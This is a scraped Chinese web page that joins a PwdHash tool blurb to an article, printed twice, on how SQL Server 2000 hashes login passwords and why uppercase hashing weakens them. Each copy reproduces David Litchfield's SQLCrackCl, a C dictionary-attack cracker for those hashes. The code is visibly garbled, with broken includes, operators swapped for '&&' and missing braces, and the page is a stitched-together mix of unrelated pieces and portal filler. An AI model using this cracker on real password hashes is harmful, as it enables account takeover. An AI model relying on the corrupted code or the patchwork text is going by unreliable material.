您没有登录或者您没有权限访问此页面,可能有如下几个原因
1、本版块为正规版块,只有注册会员才能进入!
2、 举报邮箱: 举报QQ:
使用合作网站帐号登录美桌网精选推荐高清,希望大家喜欢!
&&&&&&&&&&&&PwdHash
网站登录密码生成工具
PwdHash 介绍:
最近两年来,不少第三方应用网站以明文方式存储用户的登录信息,当网站遭黑客攻击后,用户的登录信息被人窃取,而海量的网站让许多人使用同样的用户名和密码,对用户造成了严重的危害。
通过使用PwdHash可以很好地解决这个问题,PwdHash是一款将网站和密码哈希后生成复杂密码的一款软件,即使使用同一个密码,不同的网站URI不同,生成的密码也会不同,由于使用的是单向散列函数,即便黑客获取了某用户在某个网站的登录密码后,也无法通过计算得到其它网站的登录密码。
于所输入的密码对于插件来说是透明的,所以插件的可信性与安全性非常重要。大家在安装插件以前,必须要从官方的网站下载。如果实在不相信别人做的插件,可以自己开发一个。于是通过Stanford PwdHash提供的IE插件的源码(0.6版)、JS脚本(0.8版),自己做了一个VC版的PwdHash,功能与PwdHashGui一样,生成的哈希密码保存在粘贴版中。
目前此版本支持的密码长度不能超过22个字符,原因与base64 HMAC算法有关,Stanford PwdHash的也是一样,有办法解决的朋友欢迎一块讨论~
PwdHash 下载地址:
PwdHash 截图
美桌网提醒您
本站永久网址
如忘记美桌网您也可&&&&进入本站。
和"PwdHash "相关的软件
推荐阅读:比特客户端
您的位置:
详解大数据
详解大数据
详解大数据
详解大数据
破解MSSQL中的HASH密码
关键字:黑客攻防 破解
SQL是怎样储存密码的?
SQL服务器使用了一个没有公开的函数pwdencrypt()对用户密码产生一个hash.通过研究我们可以发现这个hash储存在mater的sysxlogins表里面。这个可能已经是众所周知的事情了。
pwdencrypt()函数还没有公布详细的资料,我们这份文档将详细对这个函数进行讨论,并将指出sql服务器储存hash的这种方法的一些不足之处。实际上,等下我将会说‘密码hashes’。(allyesno:后文会讨论到,由于时间的关系即使当密码相同的时候生成的hash也并不是唯一一个,所以是hashes)
SQL的密码hash看起来是怎样的呢?
我们使用查询分析器,或者任何一个SQL客户端来执行这条语句:select password from master.dbo.sysxlogins where name='sa'
屏幕会返回类似下面这行字符串的东东。0x431D6F8AA7AEDDB1863CBFC98186BFAE06EB6B327EFABA954AFFB
这是我机子上登录密码的hash.
通过分析hash我们可以从中获取pwdencrypt()的一些什么?
1.时间
首先我们使用查询 select pwdencrypt() 来生成hash
select pwdencrypt('ph4nt0m')
生成hash
0xC3CDA2D8FE26B55A19C54EACACFB8F6FF7D4B8279BA19EFE77
ok再一次 select pwdencrypt('ph4nt0m')
0xF1C57DD1CCBE3BDCDB2DD9D1CE2B3AD8FAFEB3DB854FB343F3DBB106CFB
我们注意到,虽然两次我们加密的字符串都是ph4nt0m但是生成的hash却不一样。那么是什么使两次hash的结果不一样呢,我们大胆的推测是时间在这里面起到了关键的作用,它是创建密码hashes和储存hashes的重要因素。之所以使用这样的方式,是因为当两个人输入同样的密码时可以以此产生不同的密码hashes用来掩饰他们的密码是相同的。
2.大小写(广告时间:英汉技术词汇这本字典好,翻译的时候很多词霸找不到的东西,它都能弄出来)
使用查询
select pwdencrypt('ALLYESNO')
我们将得到hash
0xDD04D67BDE8644ACBEE4C91D04D67BDE8644ACBEE4C91
通过观察,我们可以发现这段hash中有两段是相同的,如果你不能马上看出来,让我们把它截断来看。
0x0100(固定)
4C61CD2D(补充key)
D04D67BDE8644ACBEE4C91(原型hash)
D04D67BDE8644ACBEE4C91(大写hash)
现在我们可以看出来最后两组字符串是一模一样的了。这说明这段密码被相同的加密方式进行了两次加密。一组是按照字符原型进行加密,另一组是按照字符的大写形式进行了加密。当有人尝试破解SQL密码的时候将会比他预期要容易,这是一个糟糕的加密方式。因为破解密码的人不需要理会字符原型是大写还是小写,他们只需要破解大写字符就可以了。这将大大减少了破解密码者所需要破解密码的字符数量。(allyesno:flashsky的文章《浅谈数据库口令的脆弱性》中曾经提到“如因为其算法一样,如果HASH1=HASH2,就可以判断口令肯定是未使用字母,只使用了数字和符号的口令”。实际上并不如flashsky所说的完全相同,我们使用了select pwdencrypt()进行加密以后就可以发现使用了数字和符号和大写字母的密码其hash1和hash2都会相同,所以这是flashsky文章中一个小小的bug)
-------------------------------分页栏-------------------------------
补充key
根据上文所述,当时间改变的时候也会使得hash改变,在hash中有一些跟时间有关系的信息使得密码的hashes不相同,这些信息是很容易获取的。当我们登录的时候依靠从登录密码中和数据库中储存的hash信息,就可以做一个比较从而分析出这部分信息,我们可以把这部分信息叫做补充key.
上文中我们获取的hash中,补充key 4C61CD2D 就是这个信息的一部分。
这个key 4C61CD2D 由以下阐述的方法生成。
time()C 函数被调用作为一个种子传递给srand()函数。一旦srand()函数被作为rand()函数的种子并且被调用生成伪随机key,srand()就会设置了一个起点产生一系列的(伪)随机key.然后sql服务器会将这个key截断取一部分,放置在内存里面。我们叫它key1.这个过程将会再运行一次并生成另一个key我们叫他key2.两个key连在一起就生成了我们用来加密密码的补充key.
密码的散列法
用户的密码会被转换成UNICODE形式。补充key会添加到他们后面。例如以下所示:{'A','L','L','Y','E','S','N','O',0x4C,0x61,0xCD,0x2D}
以上的字符串将会被sql服务器使用pwdencrypt()函数进行加密(这个函于advapi32.dll)。生成两个hash
0x0100(固定)
4C61CD2D(补充key)
D04D67BDE8644ACBEE4C91(原型hash)
D04D67BDE8644ACBEE4C91(大写hash)
验证过程
用户登录SQL服务器的验证过程是这样子的:当用户登陆的时候,SQL服务器在数据库中调用上面例子中的补充key4C61CD2D,将其附加在字符串“ALLYESNO”的后面,然后使用pwdencrypt()函数进行加密。然后把生成的hash跟数据库内的hash进行对比,以此来验证用户输入的密码是否正确。
SQL服务器密码破解
我们可以使用同样的方式去破解SQL的密码。当然我们会首先选择使用大写字母和符号做为字典进行破解,这比猜测小写字母要来得容易。
一个命令行的MSSQL服务器HASH破解工具源代码
以下是引用:
/////////////////////////////////////////////////////////////////////////////////
// SQLCrackCl
// This will perform a dictionary attack against the
// upper-cased hash for a password. Once this
// has been discovered try all case variant to work
// out the case sensitive password.
// This code was written by David Litchfield to
// demonstrate how SQL Server 2000
// passwords can be attacked. This can be
// optimized considerably by not using the CryptoAPI.
// (Compile with++ and link with advapi32.lib
// Ensure the Platform SDK has been installed, too!)
//////////////////////////////////////////////////////////////////////////////////
#i nclude
#i nclude
#i nclude
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
int err = 0;
if(argc !=3)
printf("\n\n*** SQLCrack *** \n\n");
printf("C:\&%s hash passwd-file\n\n",argv[0]);
printf("David Litchfield ()\n");
printf("24th June 2002\n");
return 0;
err = OpenPasswordFile(argv[2]);
if(err !=0)
return printf("\nThere was an error opening the password file %s\n",argv[2]);
err = CrackPassword(argv[1]);
fclose(fd);
printf("\n\n%d",wd);
return 0;
int OpenPasswordFile(char *pwdfile)
fd = fopen(pwdfile,"r");
if(fd)
return 0;
return 1;
int CrackPassword(char *hash)
char phash[100]="";
char pheader[8]="";
char pkey[12]="";
char pnorm[44]="";
char pucase[44]="";
char pucfirst[8]="";
char wttf[44]="";
char uwttf[100]="";
char *wp=NULL;
char *ptr=NULL;
int cnt = 0;
int count = 0;
unsigned int key=0;
unsigned int t=0;
unsigned int = 0;
unsigned char cmp=0;
unsigned char x=0;
HCRYPTPROV hProv=0;
HCRYPTHASH hH
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
return printf("\nThe password hash is too short!\n");
if(hash[0]==0x30 && (hash[1]== ’x’ || hash[1] == ’X’))
hash = hash + 2;
strncpy(pheader,hash,4);
printf("\nHeader\t\t: %s",pheader);
if(strlen(pheader)!=4)
return printf("%s",lerr);
hash = hash + 4;
strncpy(pkey,hash,8);
printf("\nRand key\t: %s",pkey);
if(strlen(pkey)!=8)
return printf("%s",lerr);
hash = hash + 8;
strncpy(pnorm,hash,40);
printf("\nNormal\t\t: %s",pnorm);
if(strlen(pnorm)!=40)
return printf("%s",lerr);
hash = hash + 40;
strncpy(pucase,hash,40);
printf("\nUpper Case\t: %s",pucase);
if(strlen(pucase)!=40)
return printf("%s",lerr);
strncpy(pucfirst,pucase,2);
sscanf(pucfirst,"%x",&cmp);
return printf("The password hash has an invalid format!\n");
printf("\n\n Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))
if(GetLastError()==NTE_BAD_KEYSET)
// KeySet does not exist. So create a new keyset
if(!CryptAcquireContext(&hProv,
PROV_RSA_FULL,
CRYPT_NEWKEYSET ))
printf("FAILLLLLLL!!!");
return FALSE;
while(1)
// get a word to try from the file
ZeroMemory(wttf,44);
if(!fgets(wttf,40,fd))
return printf("\nEnd of password file. Didn’t find the password.\n");
len = strlen(wttf);
wttf[len-1]=0x00;
ZeroMemory(uwttf,84);
// Convert the word to UNICODE
while(count & len)
uwttf[cnt]=wttf[count];
cnt++;
uwttf[cnt]=0x00;
count++;
cnt++;
len --;
wp = &
sscanf(pkey,"%x",&key);
cnt = cnt - 2;
// Append the random stuff to the end of
// the uppercase unicode password
t = key && 24;
x = (unsigned char)
uwttf[cnt]=x;
cnt++;
t = key && 8;
t = t && 24;
x = (unsigned char)
uwttf[cnt]=x;
cnt++;
t = key && 16;
t = t && 24;
x = (unsigned char)
uwttf[cnt]=x;
cnt++;
t = key && 24;
t = t && 24;
x = (unsigned char)
uwttf[cnt]=x;
cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
printf("Error %x during CryptCreatHash!\n", GetLastError());
return 0;
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
printf("Error %x during CryptHashData!\n", GetLastError());
return FALSE;
CryptGetHashParam(hHash,_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
// If first byte matches try the rest
cnt = 1;
while(cnt & 20)
ptr = ptr + 2;
strncpy(pucfirst,ptr,2);
sscanf(pucfirst,"%x",&cmp);
if(szhash[cnt]==cmp)
cnt ++;
if(cnt == 20)
// We’ve found the password
printf("\nA MATCH!!! Password is %s\n",wttf);
return 0;
count = 0;
cnt=0;
return 0;
[ 责任编辑:张学敬 ]
去年,手机江湖里的竞争格局还是…
甲骨文的云战略已经完成第一阶段…
软件信息化周刊
比特软件信息化周刊提供以数据库、操作系统和管理软件为重点的全面软件信息化产业热点、应用方案推荐、实用技巧分享等。以最新的软件资讯,最新的软件技巧,最新的软件与服务业内动态来为IT用户找到软捷径。
商务办公周刊
比特商务周刊是一个及行业资讯、深度分析、企业导购等为一体的综合性周刊。其中,与中国计量科学研究院合力打造的比特实验室可以为商业用户提供最权威的采购指南。是企业用户不可缺少的智选周刊!
比特网络周刊向企业网管员以及网络技术和产品使用者提供关于网络产业动态、技术热点、组网、建网、网络管理、网络运维等最新技术和实用技巧,帮助网管答疑解惑,成为网管好帮手。
服务器周刊
比特服务器周刊作为比特网的重点频道之一,主要关注x86服务器,RISC架构服务器以及高性能计算机行业的产品及发展动态。通过最独到的编辑观点和业界动态分析,让您第一时间了解服务器行业的趋势。
比特存储周刊长期以来,为读者提供企业存储领域高质量的原创内容,及时、全面的资讯、技术、方案以及案例文章,力求成为业界领先的存储媒体。比特存储周刊始终致力于用户的企业信息化建设、存储业务、数据保护与容灾构建以及数据管理部署等方面服务。
比特安全周刊通过专业的信息安全内容建设,为企业级用户打造最具商业价值的信息沟通平台,并为安全厂商提供多层面、多维度的媒体宣传手段。与其他同类网站信息安全内容相比,比特安全周刊运作模式更加独立,对信息安全界的动态新闻更新更快。
新闻中心热点推荐
新闻中心以独特视角精选一周内最具影响力的行业重大事件或圈内精彩故事,为企业级用户打造重点突出,可读性强,商业价值高的信息共享平台;同时为互联网、IT业界及通信厂商提供一条精准快捷,渗透力强,覆盖面广的媒体传播途径。
云计算周刊
比特云计算周刊关注云计算产业热点技术应用与趋势发展,全方位报道云计算领域最新动态。为用户与企业架设起沟通交流平台。包括IaaS、PaaS、SaaS各种不同的服务类型以及相关的安全与管理内容介绍。
CIO俱乐部周刊
比特CIO俱乐部周刊以大量高端CIO沙龙或专题研讨会以及对明星CIO的深入采访为依托,汇聚中国500强CIO的集体智慧。旨为中国杰出的CIO提供一个良好的互融互通 、促进交流的平台,并持续提供丰富的资讯和服务,探讨信息化建设,推动中国信息化发展引领CIO未来职业发展。
IT专家新闻邮件长期以来,以定向、分众、整合的商业模式,为企业IT专业人士以及IT系统采购决策者提供高质量的原创内容,包括IT新闻、评论、专家答疑、技巧和白皮书。此外,IT专家网还为读者提供包括咨询、社区、论坛、线下会议、读者沙龙等多种服务。
X周刊是一份IT人的技术娱乐周刊,给用户实时传递I最新T资讯、IT段子、技术技巧、畅销书籍,同时用户还能参与我们推荐的互动游戏,给广大的IT技术人士忙碌工作之余带来轻松休闲一刻。
微信扫一扫
关注Chinabyte破解MSSQL中的HASH密码 分享 - 谷普下载破解MSSQL中的HASH密码点击复制内容
SQL服务器是怎样储存的? SQL服务器应用了一个没有公开的函数pwdencrypt()对用户产生一个hash.通过钻研我们可以发现这个hash储存在mater数据库的sysxlogins表里面。这个可能已经是众所周知的事情了。 pwdencrypt()函数还没有公布详细的资料,我们这份文档将详细对这个函数进行讨论,并将指出sql服务器储存hash的这种法子的一些不足之处。实际上,等下我将会说&密码hashes&。(allyesno:后文会讨论到,由于光阴的关系即使当密码相同的时候生成的hash也并不是唯一一个,所以是hashes) SQL的密码hash看起来是怎样的呢? 我们应用查询分析器,或者任何一个SQL客户妒攀来履行这条语句:select password from master.dbo.sysxlogins where name='sa' 屏幕会返回类似下面这行字符串的东东。0x431D6F8AA7AEDDB1863CBFC98186BFAE06EB6B327EFABA954AFFB 这是我机子上登录密码的hash. 通过分析hash我们可以从中获取pwdencrypt()的一些什么信息? 1.光阴 首先我们应用查询 select pwdencrypt() 来生成hash select pwdencrypt('ph4nt0m') 生成hash 0xC3CDA2D8FE26B55A19C54EACACFB8F6FF7D4B8279BA19EFE77 ok再一次 select pwdencrypt('ph4nt0m') 0xF1C57DD1CCBE3BDCDB2DD9D1CE2B3AD8FAFEB3DB854FB343F3DBB106CFB 我们注意到,虽然两次我们加密的字符串都是ph4nt0m但是生成的hash却不一样。那么是什么使两次hash的结果不一样呢,我们大胆的推测是光阴在这里面起到了关键的作用,它是创建密码hashes和储存hashes的首要因素。之所以应用这样的方式,是因为当两个人输入同样的密码时可以以此产生不同的密码hashes用来掩饰他们的密码是相同的。 2.大小写(广告光阴:英汉网络技巧词汇这本字典好,翻译的时候很多金山词霸找不到的东西,它都能弄出来) 应用查询 select pwdencrypt('ALLYESNO') 我们将得到hash 0xDD04D67BDE8644ACBEE4C91D04D67BDE8644ACBEE4C91 通过观察,我们可以发现这段hash中有两段是相同的,如果你不能马上看出来,让我们把它截断来看。 0x0100(固定) 4C61CD2D(补充key) D04D67BDE8644ACBEE4C91(原型hash) D04D67BDE8644ACBEE4C91(大写hash) 现在我们可以看出来最后两组字符串是一模一样的了。这说明这段密码被相同的加密方式进行了两次加密。一组是遵照字符原型进行加密,另一组是遵照字符的大写形式进行了加密。当有人尝试SQL密码的时候将会比他预期要容易,这是一个糟糕的加密方式。因为密码的人不需要理会字符原型是大写还是小写,他们只需要大写字符就可以了。这将大大减少了密码者所需要破解密码的字符数量。(allyesno:flashsky的文章《浅谈SQL SERVER数据库口令的脆弱性》中曾经提到&如因为其算法一样,如果1=2,就可以判断口令肯定是未应用字母,只应用了数字和符号的口令&。实际上并不如flashsky所说的完全相同,我们应用了select pwdencrypt()进行加密以后就可以发现应用了数字和符号和大写字母的密码其hash1和hash2都会相同,所以这是flashsky文章中一个小小的bug) 补充key 根据上文所述,当光阴改变的时候也会使得hash改变,在hash中有一些跟光阴有关系的信息使得密码的hashes不相同,这些信息是很容易获取的。当我们登录的时候依靠从登录密码中和数据库中储存的hash信息,就可以做一个对比从而分析出这部分信息,我们可以把这部分信息叫做补充key. 上文中我们获取的hash中,补充key 4C61CD2D 就是这个信息的一部分。 这个key 4C61CD2D 由以下阐述的法子生成。 time()C 函数被调用作为一个种子传递给srand()函数。一旦srand()函数被作为rand()函数的种子并且被调用生成伪随机key,srand()就会设置了一个起点产生一系列的(伪)随机key.然后sql服务器会将这个key截断取一部分,,放置在内存里面。我们叫它key1.这个历程将会再运行一次并生成另一个key我们叫他key2.两个key连在一起就生成了我们用来加密密码的补充key.
密码的散列法 用户的密码会被转换成UNICODE形式。补充key会添加到他们后面。例如以下所示:{'A','L','L','Y','E','S','N','O',0x4C,0x61,0xCD,0x2D} 以上的字符串将会被sql服务器应用pwdencrypt()函数进行加密(这个函数位于advapi32.dll)。生成两个hash 0x0100(固定) 4C61CD2D(补充key) D04D67BDE8644ACBEE4C91(原型hash) D04D67BDE8644ACBEE4C91(大写hash) 验证历程 用户登录SQL服务器的验证历程是这样子的:当用户登陆的时候,SQL服务器在数据库中调用上面例子补充key4C61CD2D,将其附加在字符串&ALLYESNO&的后面,然后应用pwdencrypt()函数进行加密。然后把生成的hash跟数据库内的hash进行比较,以词攀来验证用户输入的密码是否正确。 SQL服务器密码破解 我们可以应用同样的方式去破解SQL的密码。当然我们会首先选择应用大写字母和符号做为字典进行破解,这比猜测小写字母要来得容易。 一个命令行的服务器HASH破解源代码 以下是引用片段://///////////////////////////////////////////////////////////////////////////////
// SQLCrackCl
// This will perform a dictionary attack against the
// upper-cased hash for a password. Once this
// has been discovered try all case variant to work
// out the case sensitive password.
// This code was written by David Litchfield to
// demonstrate how Microsoft SQL Server 2000
// passwords can be attacked. This can be
// optimized considerably by not using the CryptoAPI.
// (Compile with VC++ and link with advapi32.lib
// Ensure the Platform SDK has been installed, too!)
//////////////////////////////////////////////////////////////////////////////////
#i nclude
#i nclude
#i nclude
FILE *fd=NULL;
char *lerr = &nLength Error!n&;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
int err = 0;
if(argc !=3)
printf(&nn*** SQLCrack *** nn&);
printf(&C:&%s hash passwd-filenn&,argv[0]);
printf(&David Litchfield ()n&);
printf(&24th June 2002n&);
err = OpenPasswordFile(argv[2]);
if(err !=0)
return printf(&nThere was an error opening the password file %sn&,argv[2]);
err = CrackPassword(argv[1]);
fclose(fd);
printf(&nn%d&,wd);
int OpenPasswordFile(char *pwdfile)
fd = fopen(pwdfile,&r&);
int CrackPassword(char *hash)
char phash[100]=&&;
char pheader[8]=&&;
char pkey[12]=&&;
char pnorm[44]=&&;
char pucase[44]=&&;
char pucfirst[8]=&&;
char wttf[44]=&&;
char uwttf[100]=&&;
char *wp=NULL;
char *ptr=NULL;
int cnt = 0;
int count = 0;
unsigned int key=0;
unsigned int t=0;
unsigned int address = 0;
unsigned char cmp=0;
unsigned char x=0;
HCRYPTPROV hProv=0;
HCRYPTHASH hH
DWORD hl=100;
unsigned char szhash[100]=&&;
int len=0;
if(strlen(hash) !=94)
return printf(&nThe password hash is too short!n&);
if(hash[0]==0x30 && (hash[1]== &x& || hash[1] == &X&))
hash = hash + 2;
strncpy(pheader,hash,4);
printf(&nHeadertt: %s&,pheader);
if(strlen(pheader)!=4)
return printf(&%s&,lerr);
hash = hash + 4;
strncpy(pkey,hash,8);
printf(&nRand keyt: %s&,pkey);
if(strlen(pkey)!=8)
return printf(&%s&,lerr);
hash = hash + 8;
strncpy(pnorm,hash,40);
printf(&nNormaltt: %s&,pnorm);
if(strlen(pnorm)!=40)
return printf(&%s&,lerr);
hash = hash + 40;
strncpy(pucase,hash,40);
printf(&nUpper Caset: %s&,pucase);
if(strlen(pucase)!=40)
return printf(&%s&,lerr);
strncpy(pucfirst,pucase,2);
sscanf(pucfirst,&%x&,&cmp);
return printf(&The password hash has an invalid format!n&);
printf(&nn Trying...n&);
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))
if(GetLastError()==NTE_BAD_KEYSET)
// KeySet does not exist. So create a new keyset
if(!CryptAcquireContext(&hProv,
PROV_RSA_FULL,
CRYPT_NEWKEYSET ))
printf(&FAILLLLLLL!!!&);
return FALSE;
// get a word to try from the file
ZeroMemory(wttf,44);
if(!fgets(wttf,40,fd))
return printf(&nEnd of password file. Didn&t find the password.n&);
len = strlen(wttf);
wttf[len-1]=0x00;
ZeroMemory(uwttf,84);
// Convert the word to UNICODE
while(count & len)
uwttf[cnt]=wttf[count];
uwttf[cnt]=0x00;
sscanf(pkey,&%x&,&key);
cnt = cnt - 2;
// Append the random stuff to the end of
// the uppercase unicode password
t = key && 24;
x = (unsigned char)
uwttf[cnt]=x;
t = key && 8;
t = t && 24;
x = (unsigned char)
uwttf[cnt]=x;
t = key && 16;
t = t && 24;
x = (unsigned char)
uwttf[cnt]=x;
t = key && 24;
t = t && 24;
x = (unsigned char)
uwttf[cnt]=x;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
printf(&Error %x during CryptCreatHash!n&, GetLastError());
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
printf(&Error %x during CryptHashData!n&, GetLastError());
return FALSE;
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
// If first byte matches try the rest
while(cnt & 20)
ptr = ptr + 2;
strncpy(pucfirst,ptr,2);
sscanf(pucfirst,&%x&,&cmp);
if(szhash[cnt]==cmp)
if(cnt == 20)
// We&ve found the password
printf(&nA MATCH!!! Password is %sn&,wttf);
count = 0;
来源:谷普下载}